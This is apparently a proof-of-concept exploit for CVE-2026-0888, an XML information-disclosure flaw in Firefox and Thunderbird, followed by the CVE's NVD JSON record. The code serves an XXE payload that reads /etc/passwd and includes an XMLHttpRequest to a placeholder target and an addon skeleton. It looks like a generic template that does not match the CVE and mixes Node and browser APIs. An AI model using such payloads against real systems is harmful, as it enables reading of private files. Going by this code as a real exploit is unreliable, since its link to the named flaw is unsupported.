CVE-2026-0888

// CVE-2026-0888 PoC - XML Component Information Disclosure // This PoC demonstrates potential XML parsing vulnerability // Note: Actual exploit requires specific conditions and Firefox/Thunderbird version const http = require('http'); // Malicious XML that may trigger XML parser vulnerability const maliciousXML = `<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <data>&xxe;</data> <!-- Additional crafted content to trigger parser bug --> <test><![CDATA[${'A'.repeat(10000)}]]></test> </root>`; // Create HTTP server to serve malicious content const server = http.createServer((req, res) => { res.writeHead(200, { 'Content-Type': 'application/xml' }); res.end(maliciousXML); }); server.listen(8080, () => { console.log('Malicious XML server running on port 8080'); console.log('Open in Firefox/Thunderbird: http://localhost:8080'); }); // XMLHttpRequest PoC for direct exploitation function exploitXMLVulnerability() { const xhr = new XMLHttpRequest(); xhr.open('GET', 'http://target-site.com/malicious-xml-endpoint', true); xhr.onload = function() { // Parse response to extract leaked information const parser = new DOMParser(); const xmlDoc = parser.parseFromString(xhr.responseText, 'text/xml'); console.log('XML Response:', xmlDoc); }; xhr.send(); } // Firefox Addon PoC skeleton const exploitAddon = { manifest_version: 2, name: "CVE-2026-0888 PoC", version: "1.0", content_scripts: [{ matches: ["<all_urls>"], js: ["content.js"] }] }; console.log('PoC for CVE-2026-0888 - XML Information Disclosure'); console.log('Affected: Firefox < 147, Thunderbird < 147');

{"cve": {"id": "CVE-2026-0888", "sourceIdentifier": "[email protected]", "published": "2026-01-13T14:16:39.340", "lastModified": "2026-04-13T15:17:18.117", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Information disclosure in the XML component. This vulnerability was fixed in Firefox 147 and Thunderbird 147."}, {"lang": "es", "value": "Revelación de información en el componente XML. Esta vulnerabilidad afecta a Firefox &lt; 147 y Thunderbird &lt; 147."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "E06AF540-011D-4249-9815-3A4609DD26D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "47B67C0A-B05F-4212-9255-0446302237A5"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1985996", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-01/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-04/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}